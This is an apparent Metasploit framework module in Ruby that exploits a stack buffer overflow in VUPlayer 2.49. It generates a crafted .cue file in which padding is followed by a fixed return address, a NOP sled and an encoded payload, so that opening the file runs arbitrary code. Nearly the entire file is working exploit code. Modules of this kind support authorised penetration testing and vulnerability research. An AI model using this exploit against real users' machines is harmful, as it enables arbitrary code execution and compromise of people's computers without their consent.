##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VUPlayer CUE Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack based overflow in VUPlayer <= 2.49. When
        the application is used to open a specially crafted cue file, a buffer is overwritten allowing
        for the execution of arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'OSVDB', '64581'],
          [ 'BID', '33960' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true,
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 750,
          'BadChars' => "\x00",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'  =>  'True',
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-08-18',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cue']),
      ])

  end

  def exploit

    sploit =  rand_text_alpha_upper(1012)
    sploit << [target.ret].pack('V')
    sploit << "\x90" * 12
    sploit << payload.encoded

    cue =  "FILE ""\""
    cue << sploit
    cue << ".BIN""\"" + " BINARY\r\n"
    cue << "TRACK 01 MODE1/22352\r\n"
    cue << "INDEX 01 00:00:00\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(cue)

  end
end
